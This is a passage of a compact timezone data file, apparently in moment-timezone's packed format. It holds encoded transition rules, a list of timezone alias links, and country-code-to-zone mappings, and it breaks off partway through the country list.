1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|","WET|WET WEST|0 -10|010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010|hDB0 1a00 1fA0 1cM0 1cM0 1cM0 1fA0 1a00 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|"],"links":["Africa/Abidjan|Africa/Accra","Africa/Abidjan|Africa/Bamako","Africa/Abidjan|Africa/Banjul","Africa/Abidjan|Africa/Conakry","Africa/Abidjan|Africa/Dakar","Africa/Abidjan|Africa/Freetown","Africa/Abidjan|Africa/Lome","Africa/Abidjan|Africa/Nouakchott","Africa/Abidjan|Africa/Ouagadougou","Africa/Abidjan|Africa/Timbuktu","Africa/Abidjan|Atlantic/Reykjavik","Africa/Abidjan|Atlantic/St_Helena","Africa/Abidjan|Iceland","Africa/Cairo|Egypt","Africa/Johannesburg|Africa/Maseru","Africa/Johannesburg|Africa/Mbabane","Africa/Lagos|Africa/Bangui","Africa/Lagos|Africa/Brazzaville","Africa/Lagos|Africa/Douala","Africa/Lagos|Africa/Kinshasa","Africa/Lagos|Africa/Libreville","Africa/Lagos|Africa/Luanda","Africa/Lagos|Africa/Malabo","Africa/Lagos|Africa/Niamey","Africa/Lagos|Africa/Porto-Novo","Africa/Maputo|Africa/Blantyre","Africa/Maputo|Africa/Bujumbura","Africa/Maputo|Africa/Gaborone","Africa/Maputo|Africa/Harare","Africa/Maputo|Africa/Kigali","Africa/Maputo|Africa/Lubumbashi","Africa/Maputo|Africa/Lusaka","Africa/Nairobi|Africa/Addis_Ababa","Africa/Nairobi|Africa/Asmara","Africa/Nairobi|Africa/Asmera","Africa/Nairobi|Africa/Dar_es_Salaam","Africa/Nairobi|Africa/Djibouti","Africa/Nairobi|Africa/Kampala","Africa/Nairobi|Africa/Mogadishu","Africa/Nairobi|Indian/Antananarivo","Africa/Nairobi|Indian/Comoro","Africa/Nairobi|Indian/Mayotte","Africa/Tripoli|Libya","America/Adak|America/Atka","America/Adak|US/Aleutian","America/Anchorage|US/Alaska","America/Argentina/Buenos_Aires|America/Buenos_Aires","America/Argentina/Catamarca|America/Argentina/ComodRivadavia","America/Argentina/Catamarca|America/Catamarca","America/Argentina/Cordoba|America/Cordoba","America/Argentina/Cordoba|America/Rosario","America/Argentina/Jujuy|America/Jujuy","America/Argentina/Mendoza|America/Mendoza","America/Chicago|US/Central","America/Denver|America/Shiprock","America/Denver|Navajo","America/Denver|US/Mountain","America/Detroit|US/Michigan","America/Edmonton|Canada/Mountain","America/Fort_Wayne|America/Indiana/Indianapolis","America/Fort_Wayne|America/Indianapolis","America/Fort_Wayne|US/East-Indiana","America/Godthab|America/Nuuk","America/Halifax|Canada/Atlantic","America/Havana|Cuba","America/Indiana/Knox|America/Knox_IN","America/Indiana/Knox|US/Indiana-Starke","America/Iqaluit|America/Pangnirtung","America/Jamaica|Jamaica","America/Kentucky/Louisville|America/Louisville","America/Los_Angeles|US/Pacific","America/Manaus|Brazil/West","America/Mazatlan|Mexico/BajaSur","America/Mexico_City|Mexico/General","America/New_York|US/Eastern","America/Noronha|Brazil/DeNoronha","America/Panama|America/Atikokan","America/Panama|America/Cayman","America/Panama|America/Coral_Harbour","America/Phoenix|America/Creston","America/Phoenix|US/Arizona","America/Puerto_Rico|America/Anguilla","America/Puerto_Rico|America/Antigua","America/Puerto_Rico|America/Aruba","America/Puerto_Rico|America/Blanc-Sablon","America/Puerto_Rico|America/Curacao","America/Puerto_Rico|America/Dominica","America/Puerto_Rico|America/Grenada","America/Puerto_Rico|America/Guadeloupe","America/Puerto_Rico|America/Kralendijk","America/Puerto_Rico|America/Lower_Princes","America/Puerto_Rico|America/Marigot","America/Puerto_Rico|America/Montserrat","America/Puerto_Rico|America/Port_of_Spain","America/Puerto_Rico|America/St_Barthelemy","America/Puerto_Rico|America/St_Kitts","America/Puerto_Rico|America/St_Lucia","America/Puerto_Rico|America/St_Thomas","America/Puerto_Rico|America/St_Vincent","America/Puerto_Rico|America/Tortola","America/Puerto_Rico|America/Virgin","America/Regina|Canada/Saskatchewan","America/Rio_Branco|America/Porto_Acre","America/Rio_Branco|Brazil/Acre","America/Santiago|Chile/Continental","America/Sao_Paulo|Brazil/East","America/St_Johns|Canada/Newfoundland","America/Tijuana|America/Ensenada","America/Tijuana|America/Santa_Isabel","America/Tijuana|Mexico/BajaNorte","America/Toronto|America/Montreal","America/Toronto|America/Nassau","America/Toronto|America/Nipigon","America/Toronto|America/Thunder_Bay","America/Toronto|Canada/Eastern","America/Vancouver|Canada/Pacific","America/Whitehorse|Canada/Yukon","America/Winnipeg|America/Rainy_River","America/Winnipeg|Canada/Central","Asia/Ashgabat|Asia/Ashkhabad","Asia/Bangkok|Asia/Phnom_Penh","Asia/Bangkok|Asia/Vientiane","Asia/Bangkok|Indian/Christmas","Asia/Brunei|Asia/Kuching","Asia/Dhaka|Asia/Dacca","Asia/Dubai|Asia/Muscat","Asia/Dubai|Indian/Mahe","Asia/Dubai|Indian/Reunion","Asia/Ho_Chi_Minh|Asia/Saigon","Asia/Hong_Kong|Hongkong","Asia/Jerusalem|Asia/Tel_Aviv","Asia/Jerusalem|Israel","Asia/Kathmandu|Asia/Katmandu","Asia/Kolkata|Asia/Calcutta","Asia/Kuala_Lumpur|Asia/Singapore","Asia/Kuala_Lumpur|Singapore","Asia/Macau|Asia/Macao","Asia/Makassar|Asia/Ujung_Pandang","Asia/Nicosia|Europe/Nicosia","Asia/Qatar|Asia/Bahrain","Asia/Rangoon|Asia/Yangon","Asia/Rangoon|Indian/Cocos","Asia/Riyadh|Antarctica/Syowa","Asia/Riyadh|Asia/Aden","Asia/Riyadh|Asia/Kuwait","Asia/Seoul|ROK","Asia/Shanghai|Asia/Chongqing","Asia/Shanghai|Asia/Chungking","Asia/Shanghai|Asia/Harbin","Asia/Shanghai|PRC","Asia/Taipei|ROC","Asia/Tehran|Iran","Asia/Thimphu|Asia/Thimbu","Asia/Tokyo|Japan","Asia/Ulaanbaatar|Asia/Ulan_Bator","Asia/Urumqi|Antarctica/Vostok","Asia/Urumqi|Asia/Kashgar","Atlantic/Faroe|Atlantic/Faeroe","Australia/Adelaide|Australia/South","Australia/Brisbane|Australia/Queensland","Australia/Broken_Hill|Australia/Yancowinna","Australia/Darwin|Australia/North","Australia/Hobart|Australia/Currie","Australia/Hobart|Australia/Tasmania","Australia/Lord_Howe|Australia/LHI","Australia/Melbourne|Australia/Victoria","Australia/Perth|Australia/West","Australia/Sydney|Australia/ACT","Australia/Sydney|Australia/Canberra","Australia/Sydney|Australia/NSW","Etc/GMT-0|Etc/GMT","Etc/GMT-0|Etc/GMT+0","Etc/GMT-0|Etc/GMT0","Etc/GMT-0|Etc/Greenwich","Etc/GMT-0|GMT","Etc/GMT-0|GMT+0","Etc/GMT-0|GMT-0","Etc/GMT-0|GMT0","Etc/GMT-0|Greenwich","Etc/UTC|Etc/UCT","Etc/UTC|Etc/Universal","Etc/UTC|Etc/Zulu","Etc/UTC|UCT","Etc/UTC|UTC","Etc/UTC|Universal","Etc/UTC|Zulu","Europe/Belgrade|Europe/Ljubljana","Europe/Belgrade|Europe/Podgorica","Europe/Belgrade|Europe/Sarajevo","Europe/Belgrade|Europe/Skopje","Europe/Belgrade|Europe/Zagreb","Europe/Berlin|Arctic/Longyearbyen","Europe/Berlin|Atlantic/Jan_Mayen","Europe/Berlin|Europe/Copenhagen","Europe/Berlin|Europe/Oslo","Europe/Berlin|Europe/Stockholm","Europe/Brussels|Europe/Amsterdam","Europe/Brussels|Europe/Luxembourg","Europe/Chisinau|Europe/Tiraspol","Europe/Dublin|Eire","Europe/Helsinki|Europe/Mariehamn","Europe/Istanbul|Asia/Istanbul","Europe/Istanbul|Turkey","Europe/Kiev|Europe/Kyiv","Europe/Kiev|Europe/Uzhgorod","Europe/Kiev|Europe/Zaporozhye","Europe/Lisbon|Portugal","Europe/London|Europe/Belfast","Europe/London|Europe/Guernsey","Europe/London|Europe/Isle_of_Man","Europe/London|Europe/Jersey","Europe/London|GB","Europe/London|GB-Eire","Europe/Moscow|W-SU","Europe/Paris|Europe/Monaco","Europe/Prague|Europe/Bratislava","Europe/Rome|Europe/San_Marino","Europe/Rome|Europe/Vatican","Europe/Warsaw|Poland","Europe/Zurich|Europe/Busingen","Europe/Zurich|Europe/Vaduz","Indian/Maldives|Indian/Kerguelen","Pacific/Auckland|Antarctica/McMurdo","Pacific/Auckland|Antarctica/South_Pole","Pacific/Auckland|NZ","Pacific/Chatham|NZ-CHAT","Pacific/Easter|Chile/EasterIsland","Pacific/Enderbury|Pacific/Kanton","Pacific/Guadalcanal|Pacific/Pohnpei","Pacific/Guadalcanal|Pacific/Ponape","Pacific/Guam|Pacific/Saipan","Pacific/Honolulu|Pacific/Johnston","Pacific/Honolulu|US/Hawaii","Pacific/Kwajalein|Kwajalein","Pacific/Pago_Pago|Pacific/Midway","Pacific/Pago_Pago|Pacific/Samoa","Pacific/Pago_Pago|US/Samoa","Pacific/Port_Moresby|Antarctica/DumontDUrville","Pacific/Port_Moresby|Pacific/Chuuk","Pacific/Port_Moresby|Pacific/Truk","Pacific/Port_Moresby|Pacific/Yap","Pacific/Tarawa|Pacific/Funafuti","Pacific/Tarawa|Pacific/Majuro","Pacific/Tarawa|Pacific/Wake","Pacific/Tarawa|Pacific/Wallis"],"countries":["AD|Europe/Andorra","AE|Asia/Dubai","AF|Asia/Kabul","AG|America/Puerto_Rico America/Antigua","AI|America/Puerto_Rico America/Anguilla","AL|Europe/Tirane","AM|Asia/Yerevan","AO|Africa/Lagos Africa/Luanda","AQ|Antarctica/Casey Antarctica/Davis Antarctica/Mawson Antarctica/Palmer Antarctica/Rothera Antarctica/Troll Asia/Urumqi Pacific/Auckland Pacific/Port_Moresby Asia/Riyadh Antarctica/McMurdo Antarctica/DumontDUrville Antarctica/Syowa Antarctica/Vostok","AR|America/Argentina/Buenos_Aires America/Argentina/Cordoba America/Argentina/Salta America/Argentina/Jujuy America/Argentina/Tucuman America/Argentina/Catamarca America/Argentina/La_Rioja America/Argentina/San_Juan America/Argentina/Mendoza America/Argentina/San_Luis America/Argentina/Rio_Gallegos America/Argentina/Ushuaia","AS|Pacific/Pago_Pago","AT|Europe/Vienna","AU|Australia/Lord_Howe Antarctica/Macquarie Australia/Hobart Australia/Melbourne Australia/Sydney Australia/Broken_Hill Australia/Brisbane Australia/Lindeman Australia/Adelaide Australia/Darwin Australia/Perth Australia/Eucla","AW|America/Puerto_Rico America/Aruba","AX|Europe/Helsinki Europe/Mariehamn","AZ|Asia/Baku","BA|Europe/Belgrade Europe/Sarajevo","BB|America/Barbados","BD|Asia/Dhaka","BE|Europe/Brussels","BF|Africa/Abidjan Africa/Ouagadougou","BG|Europe/Sofia","BH|Asia/Qatar Asia/Bahrain","BI|Africa/Maputo Africa/Bujumbura","BJ|Africa/Lagos Africa/Porto-Novo","BL|America/Puerto_Rico America/St_Barthelemy","BM|Atlantic/Bermuda","BN|Asia/Kuching Asia/Brunei","BO|America/La_Paz","BQ|America/Puerto_Rico America/Kralendijk","BR|America/Noronha America/Belem America/Fortaleza America/Recife America/Araguaina America/Maceio America/Bahia America/Sao_Paulo America/Campo_Grande America/Cuiaba America/Santarem America/Porto_Velho America/Boa_Vista America/Manaus America/Eirunepe America/Rio_Branco","BS|America/Toronto America/Nassau","BT|Asia/Thimphu","BW|Africa/Maputo Africa/Gaborone","BY|Europe/Minsk","BZ|America/Belize","CA|America/St_Johns America/Halifax America/Glace_Bay America/Moncton America/Goose_Bay America/Toronto America/Iqaluit America/Winnipeg America/Resolute America/Rankin_Inlet America/Regina America/Swift_Current America/Edmonton America/Cambridge_Bay America/Yellowknife America/Inuvik America/Dawson_Creek America/Fort_Nelson America/Whitehorse America/Dawson America/Vancouver America/Panama America/Puerto_Rico America/Phoenix America/Blanc-Sablon America/Atikokan America/Creston","CC|Asia/Yangon Indian/Cocos","CD|Africa/Maputo Africa/Lagos Africa/Kinshasa Africa/Lubumbashi","CF|Africa/Lagos Africa/Bangui","CG|Africa/Lagos Africa/Brazzaville","CH|Europe/Zurich","CI|Africa/Abidjan","CK|Pacific/Rarotonga","CL|America/Santiago America/Punta_Arenas Pacific/Easter","CM|Africa/Lagos Africa/Douala","CN|Asia/Shanghai Asia/Urumqi","CO|America/Bogota","CR|America/Costa_Rica","CU|America/Havana","CV|Atlantic/Cape_Verde","CW|America/Puerto_Rico America/Curacao","CX|Asia/Bangkok Indian/Christmas","CY|Asia/Nicosia Asia/Famagusta","CZ|Europe/Prague","DE|Europe/Zurich Europe/Berlin Europe/Busingen","DJ|Africa/Nairobi Africa/Djibouti","DK|Europe/Berlin Europe/Copenhagen","DM|America/Puerto_Rico America/Dominica","DO|America/Santo_Domingo","DZ|Africa/Algiers","EC|America/Guayaquil Pacific/Galapagos","EE|Europe/Tallinn","EG|Africa/Cairo","EH|Africa/El_Aaiun","ER|Africa/Nairobi Africa/Asmara","ES|Europe/Madrid Africa/Ceuta Atlantic/Canary","ET|Africa/Nairobi Africa/Addis_Ababa","FI|Europe/Helsinki","FJ|Pacific/Fiji","FK|Atlantic/Stanley","FM|Pacific/Kosrae Pacific/Port_Moresby Pacific/Guadalcanal Pacific/Chuuk Pacific/Pohnpei","FO|Atlantic/Faroe","FR|Europe/Paris","GA|Africa/Lagos Africa/Libreville","GB|Europe/London","GD|America/Puerto_Rico America/Grenada","GE|Asia/Tbilisi","GF|America/Cayenne","GG|Europe/London Europe/Guernsey","GH|Africa/Abidjan Africa/Accra","GI|Europe/Gibraltar","GL|America/Nuuk America/Danmarkshavn America/Scoresbysund America/Thule","GM|Africa/Abidjan Africa/Banjul","GN|Africa/Abidjan Africa/Conakry","GP|America/Puerto_Rico America/Guadeloupe","GQ|Africa/Lagos Africa/Malabo","GR|Europe/Athens","GS|Atlantic/South_Georgia","GT|America/Guatemala","GU|Pacific/Guam","GW|Africa/Bissau","GY|America/Guyana","HK|Asia/Hong_Kong","HN|America/Tegucigalpa","HR|Europe/Belgrade Europe/Zagreb","HT|America/Port-au-Prince","HU|Europe/Budapest","ID|Asia/Jakarta Asia/Pontianak Asia/Makassar Asia/Jayapura","IE|Europe/Dublin","IL|Asia/Jerusalem","IM|Europe/London Europe/Isle_of_Man","IN|Asia/Kolkata","IO|Indian/Chagos","IQ|Asia/Baghdad","IR|Asia/Tehran","IS|Africa/Abidjan Atlantic/Reykjavik","IT|Europe/Rome","JE|Europe/London Europe/Jersey","JM|America/Jamaica","JO|Asia/Amman","JP|Asia/Tokyo","KE|Africa/Nairobi","KG|Asia/Bishkek","KH|Asia/Bangkok Asia/Phnom_Penh","KI|Pacific/Tarawa Pacific/Kanton Pacific/Kiritimati","KM|Africa/Nairobi Indian/Comoro","KN|America/Puerto_Rico America/St_Kitts","KP|Asia/Pyongyang","KR|Asia/Seoul","KW|Asia/Riyadh Asia/Kuwait","KY|America/Panama America/Cayman","KZ|Asia/Almaty Asia/Qyzylorda Asia/Qostanay Asia/Aqtobe Asia/Aqtau Asia/Atyrau Asia/Oral","LA|Asia/Bangkok Asia/Vientiane","LB|Asia/Beirut","LC|America/Puerto_Rico America/St_Lucia","LI|Europe/Zurich Europe/Vaduz","LK|Asia/Colombo","LR|Africa/Monrovia","LS|Africa/Johannesburg Africa/Maseru","LT|Europe/Vilnius","LU|Europe/Brussels Europe/Luxembourg","LV|Europe/Riga","LY|Africa/Tripoli","MA|Africa/Casablanca","MC|Europe/Paris Europe/Monaco","MD|Europe/Chisinau","ME|Europe/Belgrade Europe/Podgorica","MF|America/Puerto_Rico America/Marigot","MG|Africa/Nairobi Indian/Antananarivo","MH|Pacific/Tarawa Pacific/Kwajalein Pacific/Majuro","MK|Europe/Belgrade Europe/Skopje","ML|Africa/Abidjan Africa/Bamako","MM|Asia/Yangon","MN|Asia/Ulaanbaatar Asia/Hovd Asia/Choibalsan","MO|Asia/Macau","MP|Pacific/Guam Pacific/Saipan","MQ|America/Martinique","MR|Africa/Abidjan Africa/Nouakchott","MS|America/Puerto_Rico America/Montserrat","MT|Europe/Malta","MU|Indian/Mauritius","MV|Indian/Maldives","MW|Africa/Maputo Africa/Blantyre","MX|America/Mexico_City America/Cancun America/Merida America/Monterrey America/Matamoros America/Chihuahua America/Ciudad_Juarez America/Ojinaga America/Mazatlan America/Bahia_Banderas America/Hermosillo America/Tijuana","MY|Asia/Kuching Asia/Singapore Asia/Kuala_Lumpur","MZ|Africa/Maputo","NA|Africa/Windhoek","NC|Pacific/Noumea","NE|Africa/Lagos Africa/Niamey","NF|Pacific/Norfolk","NG|Africa/Lagos","NI|America/Managua","NL|Europe/Brussels Europe/Amsterdam","NO|Europe/Berlin Europe/Oslo","NP|Asia/Kathmandu","NR|Pacific/Nauru","NU|Pacific/Niue","NZ|Pacific/Auckland Pacific/Chatham","OM|Asia/Dubai Asia/Muscat","PA|America/Panama","PE|America/Lima","PF|Pacific/Tahiti Pacific/Marquesas Pacific/Gambier","PG|Pacific/Port_Moresby Pacific/Bougainville","PH|Asia/Manila","PK|Asia/Karachi","PL|Europe/Warsaw","PM|America/Miquelon","PN|Pacific/Pitcairn","PR|America/Puerto_Rico","PS|Asia/Gaza Asia/Hebron","PT|Europe/Lisbon Atlantic/Madeira Atlantic/Azores","PW|Pacific/Palau","PY|America/Asuncion","QA|Asia/Qatar","RE|Asia/Dubai Indian/Reunion","RO|Europe/Bucharest","RS|Europe/Belgrade","RU|Europe/Kaliningrad Europe/Moscow Europe/Simferopol Europe/Kirov Europe/Volgograd Europe/Astrakhan Europe/Saratov Europe/Ulyanovsk Europe/Samara Asia/Yekaterinburg Asia/Omsk Asia/Novosibirsk Asia/Barnaul Asia/Tomsk Asia/Novokuznetsk Asia/Krasnoyarsk Asia/Irkutsk Asia/Chita Asia/Yakutsk Asia/Khandyga Asia/Vladivostok Asia/Ust-Nera Asia/Magadan Asia/Sakhalin Asia/Srednekolymsk Asia/Kamchatka Asia/Anadyr","RW|Africa/Maputo Africa/Kigali","SA|Asia/Riyadh","SB|Pacific/Guadalcanal","SC|Asia/Dubai Indian/Mahe","SD|Africa/Khartoum","SE|Europe/Berlin Europe/Stockholm","SG|Asia/Singapore","SH|Africa/Abidjan Atlantic/St_Helena","SI|Europe/Belgrade Europe/Ljubljana","SJ|Europe/Berlin Arctic/Longyearbyen","SK|Europe/Prague Europe/Bratislava","SL|Africa/Abidjan Africa/Freetown","SM|Europe/Rome Europe/San_Marino","SN|Africa/Abidjan Africa/Dakar","SO|Africa/Nairobi 